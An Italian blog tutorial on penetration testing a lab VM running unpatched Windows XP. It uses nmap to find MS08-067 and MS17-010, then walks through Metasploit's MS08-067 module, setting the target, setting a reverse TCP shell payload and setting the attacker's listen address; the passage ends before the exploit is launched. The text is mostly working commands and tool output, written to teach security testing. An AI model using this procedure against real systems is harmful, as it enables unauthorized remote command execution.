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Ethical Hacking – Testare la sicurezza – Nmap e Metasploit

Posted on 4 Marzo 201913 Agosto 2022 By chitblog Nessun commento su Ethical Hacking – Testare la sicurezza – Nmap e Metasploit

In questo esempio testeremo la sicurezza di un ipotetico client presente nella rete con un vecchio sistema operativo non aggiornato. L’indirizzo IP del client da testare è 10.10.10.7, il sistema operativo in uso è Windows XP PRO SP3 e non è aggiornato. Ho scelto di proposito un sistema vecchio e non aggiornato per rendere più facile la preparazione dell’esercizio ed essere sicuro di trovare gravi vulnerabilità da “exploitare”, il procedimento è comunque uguale con i sistemi più moderni.

Scansione vulnerabilità con Nmap

workstation:/home/chit # nmap --script vuln 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 01:12 CET
Nmap scan report for 10.10.10.7
Host is up (0.00032s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:E5:BD:58 (Oracle VirtualBox virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 41.40 seconds
workstation:/home/chit #

Per rilevare il sistema operativo in uso usare l’opzione -O di Nmap.

workstation:/home/chit # nmap -O 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-03 19:16 CET
Nmap scan report for 10.10.10.7
Host is up (0.00038s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:E5:BD:58 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003, Microsoft Windows XP SP2 or Windows Server 2003 SP2
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.83 seconds
workstation:/home/chit #

Come si può vedere dai risultati della scansione, Nmap ha rilevato due gravi vulnerabilità nel sistema testato e scoperto il sistema operativo in uso (Microsoft Windows XP SP2 or SP3, or Windows Server 2003, Microsoft Windows XP SP2 or Windows Server 2003 SP2). In questo esempio ho creato una macchina virtuale e so che il target in questione è Microsoft Windows XP SP3 Italian. La vulnerabilità che andremo a vedere nel dettaglio e ad “exploitare”, è “MS08-067”. Si tratta di una vulnerabilità che permette di eseguire comandi da remoto sul sistema preso di mira.

Exploitare vulnerabilità in modo automatico con Metasploit

Ora che abbiamo rilevato e scelto la vulnerabilità da “exploitare” passiamo a Metasploit. Con Metasploit è possibile “exploitare” applicazioni in modo automatico senza bisogno di andare a cercare gli exploits nelle banche dati online.

Metasploit – Search module

Una volta avviato Metasploit cercare l’exploit con il seguente comando: “search MS08-67”. Metasploit mostrerà i moduli trovati.

msf > search ms08-067

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption


msf > 

Metasploit – Use

Per usare un modulo eseguire “use” seguito dal modulo come segue:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >

Metasploit – Show and set target

Per vedere la lista dei targets per l’exploit eseguire il comando show targets.

msf exploit(windows/smb/ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows 2003 SP0 Universal
   4   Windows XP SP2 English (AlwaysOn NX)
   5   Windows XP SP2 English (NX)
   6   Windows XP SP3 English (AlwaysOn NX)
   7   Windows XP SP3 English (NX)
   8   Windows XP SP2 Arabic (NX)
   9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   10  Windows XP SP2 Chinese - Simplified (NX)
   11  Windows XP SP2 Chinese - Traditional (NX)
   12  Windows XP SP2 Czech (NX)
   13  Windows XP SP2 Danish (NX)
   14  Windows XP SP2 German (NX)
   15  Windows XP SP2 Greek (NX)
   16  Windows XP SP2 Spanish (NX)
   17  Windows XP SP2 Finnish (NX)
   18  Windows XP SP2 French (NX)
   19  Windows XP SP2 Hebrew (NX)
   20  Windows XP SP2 Hungarian (NX)
   21  Windows XP SP2 Italian (NX)
   22  Windows XP SP2 Japanese (NX)
   23  Windows XP SP2 Korean (NX)
   24  Windows XP SP2 Dutch (NX)
   25  Windows XP SP2 Norwegian (NX)
   26  Windows XP SP2 Polish (NX)
   27  Windows XP SP2 Portuguese - Brazilian (NX)
   28  Windows XP SP2 Portuguese (NX)
   29  Windows XP SP2 Russian (NX)
   30  Windows XP SP2 Swedish (NX)
   31  Windows XP SP2 Turkish (NX)
   32  Windows XP SP3 Arabic (NX)
   33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
   34  Windows XP SP3 Chinese - Simplified (NX)
   35  Windows XP SP3 Chinese - Traditional (NX)
   36  Windows XP SP3 Czech (NX)
   37  Windows XP SP3 Danish (NX)
   38  Windows XP SP3 German (NX)
   39  Windows XP SP3 Greek (NX)
   40  Windows XP SP3 Spanish (NX)
   41  Windows XP SP3 Finnish (NX)
   42  Windows XP SP3 French (NX)
   43  Windows XP SP3 Hebrew (NX)
   44  Windows XP SP3 Hungarian (NX)
   45  Windows XP SP3 Italian (NX)
   46  Windows XP SP3 Japanese (NX)
   47  Windows XP SP3 Korean (NX)
   48  Windows XP SP3 Dutch (NX)
   49  Windows XP SP3 Norwegian (NX)
   50  Windows XP SP3 Polish (NX)
   51  Windows XP SP3 Portuguese - Brazilian (NX)
   52  Windows XP SP3 Portuguese (NX)
   53  Windows XP SP3 Russian (NX)
   54  Windows XP SP3 Swedish (NX)
   55  Windows XP SP3 Turkish (NX)
   56  Windows 2003 SP1 English (NO NX)
   57  Windows 2003 SP1 English (NX)
   58  Windows 2003 SP1 Japanese (NO NX)
   59  Windows 2003 SP1 Spanish (NO NX)
   60  Windows 2003 SP1 Spanish (NX)
   61  Windows 2003 SP1 French (NO NX)
   62  Windows 2003 SP1 French (NX)
   63  Windows 2003 SP2 English (NO NX)
   64  Windows 2003 SP2 English (NX)
   65  Windows 2003 SP2 German (NO NX)
   66  Windows 2003 SP2 German (NX)
   67  Windows 2003 SP2 Portuguese - Brazilian (NX)
   68  Windows 2003 SP2 Spanish (NO NX)
   69  Windows 2003 SP2 Spanish (NX)
   70  Windows 2003 SP2 Japanese (NO NX)
   71  Windows 2003 SP2 French (NO NX)
   72  Windows 2003 SP2 French (NX)


msf exploit(windows/smb/ms08_067_netapi) > 

Chiaramente non c’è bisogno di scegliere il target – nella maggior parte dei casi -, Metasploit rileva automaticamente il sistema operativo in uso. Lasciare quindi su 0, automatico.

Se per caso si dovesse avere il bisogno di impostare manualmente il target, usare il seguente comando:

msf exploit(windows/smb/ms08_067_netapi) > set target 45
target => 45
msf exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    		     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   45  Windows XP SP3 Italian (NX)


msf exploit(windows/smb/ms08_067_netapi) >

Metasploit – Show options

Ora, il resto dei dati da inserire per potere eseguire l’exploit con successo vengono mostrati con il comando “show options“.

msf exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) >

Metasploit module option RHOST

Rhost, che sta per remote host, è l’host da attaccare/testare, in questo esempio l’indirizzo IP 10.10.10.7.

Metasploit module option RPORT

Rport (Remote Port) viene aggiunto automaticamente da metasploit perché la porta 445 è quella standard dell’applicazione da “exploitare”. Lasciare com’è nella maggior parte dei casi.

Metasploit module option SMBPIPE

Come nel caso della porta (RPORT) lasciare le impostazioni di default, BROWSER.

Metasploit – Set RHOST

msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.10.10.7
rhost => 10.10.10.7
msf exploit(windows/smb/ms08_067_netapi) >

Ogni volta che si cambia qualcosa si può controllare con il comando “show options” se la modifica è stata apportata con successo.

msf exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    10.10.10.7       yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) >

Metasploit – Check

Una volta inseriti i dati necessari per la corretta esecuzione dell’exploit, si può controllare se l’host è vulnerabile a un attacco con il comando check.

msf exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.7:445 The target is vulnerable.
msf exploit(windows/smb/ms08_067_netapi) >

Metasploit – Payloads

Non abbiamo ancora finito, ora dobbiamo dire a Metasploit cosa fare una volta che il target è stato “exploitato“. Basta scegliere un Payload compatibile da eseguire dopo avere eseguito l’exploit con successo.

Metasploit – Show payloads

Per vedere un elenco di Payloads compatibili disponibili per questo modulo eseguire il comando “show payloads“.

msf exploit(windows/smb/ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name                                                Disclosure Date  Rank    Description
----                                                ---------------  ----    -----------
generic/custom                                                       normal  Custom Payload
generic/debug_trap                                                   normal  Generic x86 Debug Trap
generic/shell_bind_tcp                                               normal  Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp                                            normal  Generic Command Shell, Reverse TCP Inline
generic/tight_loop                                                   normal  Generic x86 Tight Loop
windows/adduser                                                      normal  Windows Execute net user /ADD
windows/dllinject/bind_hidden_ipknock_tcp                            normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
windows/dllinject/bind_hidden_tcp                                    normal  Reflective DLL Injection, Hidden Bind TCP Stager
windows/dllinject/bind_ipv6_tcp                                      normal  Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid                                 normal  Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/dllinject/bind_named_pipe                                    normal  Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
windows/dllinject/bind_nonx_tcp                                      normal  Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
windows/dllinject/bind_tcp                                           normal  Reflective DLL Injection, Bind TCP Stager (Windows x86)
windows/dllinject/bind_tcp_rc4                                       normal  Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/dllinject/bind_tcp_uuid                                      normal  Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
windows/dllinject/reverse_hop_http                                   normal  Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
windows/dllinject/reverse_http                                       normal  Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
windows/dllinject/reverse_ipv6_tcp                                   normal  Reflective DLL Injection, Reverse TCP Stager (IPv6)
windows/dllinject/reverse_nonx_tcp                                   normal  Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
windows/dllinject/reverse_ord_tcp                                    normal  Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
windows/dllinject/reverse_tcp                                        normal  Reflective DLL Injection, Reverse TCP Stager
windows/dllinject/reverse_tcp_allports                               normal  Reflective DLL Injection, Reverse All-Port TCP Stager
windows/dllinject/reverse_tcp_dns                                    normal  Reflective DLL Injection, Reverse TCP Stager (DNS)
windows/dllinject/reverse_tcp_rc4                                    normal  Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/dllinject/reverse_tcp_uuid                                   normal  Reflective DLL Injection, Reverse TCP Stager with UUID Support
windows/dllinject/reverse_udp                                        normal  Reflective DLL Injection, Reverse UDP Stager with UUID Support
windows/dns_txt_query_exec                                           normal  DNS TXT Record Payload Download and Execution
windows/exec                                                         normal  Windows Execute Command
windows/format_all_drives                                            manual  Windows Drive Formatter
windows/loadlibrary                                                  normal  Windows LoadLibrary Path
windows/messagebox                                                   normal  Windows MessageBox
windows/meterpreter/bind_hidden_ipknock_tcp                          normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
windows/meterpreter/bind_hidden_tcp                                  normal  Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
windows/meterpreter/bind_ipv6_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid                               normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/meterpreter/bind_named_pipe                                  normal  Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
windows/meterpreter/bind_nonx_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
windows/meterpreter/bind_tcp                                         normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
windows/meterpreter/bind_tcp_rc4                                     normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/meterpreter/bind_tcp_uuid                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
windows/meterpreter/reverse_hop_http                                 normal  Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
windows/meterpreter/reverse_http                                     normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
windows/meterpreter/reverse_https                                    normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
windows/meterpreter/reverse_https_proxy                              normal  Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
windows/meterpreter/reverse_ipv6_tcp                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
windows/meterpreter/reverse_named_pipe                               normal  Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
windows/meterpreter/reverse_nonx_tcp                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/meterpreter/reverse_ord_tcp                                  normal  Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/meterpreter/reverse_tcp                                      normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager
windows/meterpreter/reverse_tcp_allports                             normal  Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
windows/meterpreter/reverse_tcp_dns                                  normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
windows/meterpreter/reverse_tcp_rc4                                  normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/meterpreter/reverse_tcp_uuid                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
windows/meterpreter/reverse_udp                                      normal  Windows Meterpreter (Reflective Injection), Reverse UDP Stager with UUID Support
windows/metsvc_bind_tcp                                              normal  Windows Meterpreter Service, Bind TCP
windows/metsvc_reverse_tcp                                           normal  Windows Meterpreter Service, Reverse TCP Inline
windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  Windows Inject DLL, Hidden Bind Ipknock TCP Stager
windows/patchupdllinject/bind_hidden_tcp                             normal  Windows Inject DLL, Hidden Bind TCP Stager
windows/patchupdllinject/bind_ipv6_tcp                               normal  Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/patchupdllinject/bind_named_pipe                             normal  Windows Inject DLL, Windows x86 Bind Named Pipe Stager
windows/patchupdllinject/bind_nonx_tcp                               normal  Windows Inject DLL, Bind TCP Stager (No NX or Win7)
windows/patchupdllinject/bind_tcp                                    normal  Windows Inject DLL, Bind TCP Stager (Windows x86)
windows/patchupdllinject/bind_tcp_rc4                                normal  Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/patchupdllinject/bind_tcp_uuid                               normal  Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
windows/patchupdllinject/reverse_ipv6_tcp                            normal  Windows Inject DLL, Reverse TCP Stager (IPv6)
windows/patchupdllinject/reverse_nonx_tcp                            normal  Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
windows/patchupdllinject/reverse_ord_tcp                             normal  Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupdllinject/reverse_tcp                                 normal  Windows Inject DLL, Reverse TCP Stager
windows/patchupdllinject/reverse_tcp_allports                        normal  Windows Inject DLL, Reverse All-Port TCP Stager
windows/patchupdllinject/reverse_tcp_dns                             normal  Windows Inject DLL, Reverse TCP Stager (DNS)
windows/patchupdllinject/reverse_tcp_rc4                             normal  Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/patchupdllinject/reverse_tcp_uuid                            normal  Windows Inject DLL, Reverse TCP Stager with UUID Support
windows/patchupdllinject/reverse_udp                                 normal  Windows Inject DLL, Reverse UDP Stager with UUID Support
windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
windows/patchupmeterpreter/bind_hidden_tcp                           normal  Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
windows/patchupmeterpreter/bind_ipv6_tcp                             normal  Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/patchupmeterpreter/bind_named_pipe                           normal  Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
windows/patchupmeterpreter/bind_nonx_tcp                             normal  Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
windows/patchupmeterpreter/bind_tcp                                  normal  Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
windows/patchupmeterpreter/bind_tcp_rc4                              normal  Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/patchupmeterpreter/bind_tcp_uuid                             normal  Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
windows/patchupmeterpreter/reverse_nonx_tcp                          normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_ord_tcp                           normal  Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_tcp                               normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
windows/patchupmeterpreter/reverse_tcp_allports                      normal  Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
windows/patchupmeterpreter/reverse_tcp_dns                           normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
windows/patchupmeterpreter/reverse_tcp_rc4                           normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/patchupmeterpreter/reverse_tcp_uuid                          normal  Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
windows/patchupmeterpreter/reverse_udp                               normal  Windows Meterpreter (skape/jt Injection), Reverse UDP Stager with UUID Support
windows/shell/bind_hidden_ipknock_tcp                                normal  Windows Command Shell, Hidden Bind Ipknock TCP Stager
windows/shell/bind_hidden_tcp                                        normal  Windows Command Shell, Hidden Bind TCP Stager
windows/shell/bind_ipv6_tcp                                          normal  Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
windows/shell/bind_ipv6_tcp_uuid                                     normal  Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/shell/bind_named_pipe                                        normal  Windows Command Shell, Windows x86 Bind Named Pipe Stager
windows/shell/bind_nonx_tcp                                          normal  Windows Command Shell, Bind TCP Stager (No NX or Win7)
windows/shell/bind_tcp                                               normal  Windows Command Shell, Bind TCP Stager (Windows x86)
windows/shell/bind_tcp_rc4                                           normal  Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/shell/bind_tcp_uuid                                          normal  Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
windows/shell/reverse_ipv6_tcp                                       normal  Windows Command Shell, Reverse TCP Stager (IPv6)
windows/shell/reverse_nonx_tcp                                       normal  Windows Command Shell, Reverse TCP Stager (No NX or Win7)
windows/shell/reverse_ord_tcp                                        normal  Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_tcp                                            normal  Windows Command Shell, Reverse TCP Stager
windows/shell/reverse_tcp_allports                                   normal  Windows Command Shell, Reverse All-Port TCP Stager
windows/shell/reverse_tcp_dns                                        normal  Windows Command Shell, Reverse TCP Stager (DNS)
windows/shell/reverse_tcp_rc4                                        normal  Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/shell/reverse_tcp_uuid                                       normal  Windows Command Shell, Reverse TCP Stager with UUID Support
windows/shell/reverse_udp                                            normal  Windows Command Shell, Reverse UDP Stager with UUID Support
windows/shell_bind_tcp                                               normal  Windows Command Shell, Bind TCP Inline
windows/shell_hidden_bind_tcp                                        normal  Windows Command Shell, Hidden Bind TCP Inline
windows/shell_reverse_tcp                                            normal  Windows Command Shell, Reverse TCP Inline
windows/speak_pwned                                                  normal  Windows Speech API - Say "You Got Pwned!"
windows/upexec/bind_hidden_ipknock_tcp                               normal  Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
windows/upexec/bind_hidden_tcp                                       normal  Windows Upload/Execute, Hidden Bind TCP Stager
windows/upexec/bind_ipv6_tcp                                         normal  Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
windows/upexec/bind_ipv6_tcp_uuid                                    normal  Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/upexec/bind_named_pipe                                       normal  Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
windows/upexec/bind_nonx_tcp                                         normal  Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
windows/upexec/bind_tcp                                              normal  Windows Upload/Execute, Bind TCP Stager (Windows x86)
windows/upexec/bind_tcp_rc4                                          normal  Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/upexec/bind_tcp_uuid                                         normal  Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
windows/upexec/reverse_ipv6_tcp                                      normal  Windows Upload/Execute, Reverse TCP Stager (IPv6)
windows/upexec/reverse_nonx_tcp                                      normal  Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
windows/upexec/reverse_ord_tcp                                       normal  Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
windows/upexec/reverse_tcp                                           normal  Windows Upload/Execute, Reverse TCP Stager
windows/upexec/reverse_tcp_allports                                  normal  Windows Upload/Execute, Reverse All-Port TCP Stager
windows/upexec/reverse_tcp_dns                                       normal  Windows Upload/Execute, Reverse TCP Stager (DNS)
windows/upexec/reverse_tcp_rc4                                       normal  Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/upexec/reverse_tcp_uuid                                      normal  Windows Upload/Execute, Reverse TCP Stager with UUID Support
windows/upexec/reverse_udp                                           normal  Windows Upload/Execute, Reverse UDP Stager with UUID Support
windows/vncinject/bind_hidden_ipknock_tcp                            normal  VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
windows/vncinject/bind_hidden_tcp                                    normal  VNC Server (Reflective Injection), Hidden Bind TCP Stager
windows/vncinject/bind_ipv6_tcp                                      normal  VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
windows/vncinject/bind_ipv6_tcp_uuid                                 normal  VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/vncinject/bind_named_pipe                                    normal  VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
windows/vncinject/bind_nonx_tcp                                      normal  VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
windows/vncinject/bind_tcp                                           normal  VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
windows/vncinject/bind_tcp_rc4                                       normal  VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
windows/vncinject/bind_tcp_uuid                                      normal  VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
windows/vncinject/reverse_hop_http                                   normal  VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
windows/vncinject/reverse_http                                       normal  VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
windows/vncinject/reverse_ipv6_tcp                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
windows/vncinject/reverse_nonx_tcp                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/vncinject/reverse_ord_tcp                                    normal  VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/vncinject/reverse_tcp                                        normal  VNC Server (Reflective Injection), Reverse TCP Stager
windows/vncinject/reverse_tcp_allports                               normal  VNC Server (Reflective Injection), Reverse All-Port TCP Stager
windows/vncinject/reverse_tcp_dns                                    normal  VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
windows/vncinject/reverse_tcp_rc4                                    normal  VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
windows/vncinject/reverse_tcp_uuid                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
windows/vncinject/reverse_udp                                        normal  VNC Server (Reflective Injection), Reverse UDP Stager with UUID Support
msf exploit(windows/smb/ms08_067_netapi) > 

Metasploit – Impostare manualmente un Payload

In questo esempio verrà usato il Payload windows/shell/reverse_tcp che permette di eseguire comandi da amministratore sulla macchina presa di mira. Ci sono due tipi di Shell, Bind Shells e Reverse Shells.
BIND SHELLS
La Bind Shell da istruzioni al target di eseguire una Shell e di ascoltare su una porta specifica. Il problema è che ogni firewall è configurato per default per bloccare tutto il traffico in entrata – tutte le porte – e quindi questa tecnica risulterebbe poco efficace.
REVERSE SHELLS
Con una Reverse Shell è l’attacker che ha una porta aperta e che funge da server, in questo modo si possono eludere le regole del firewall.

Per usare un Payload eseguire il comando set payload come segue:

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >

Per vedere quali informazioni bisogna fornire al programma con questa nuova impostazione eseguire di nuovo il comando show options.

msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    10.10.10.7       yes       The target address
RPORT    445              yes       The SMB service port (TCP)
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
Exploit target:
Id  Name
--  ----
45  Windows XP SP3 Italian (NX)
msf exploit(windows/smb/ms08_067_netapi) >

Come si può notare dall’output del comando bisogna inserire il proprio indirizzo IP – da dove si attacca la macchina Windows -, LHOST sta per local host.

msf exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.10.5
lhost => 10.10.10.5
msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    10.10.10.7       yes       The target address
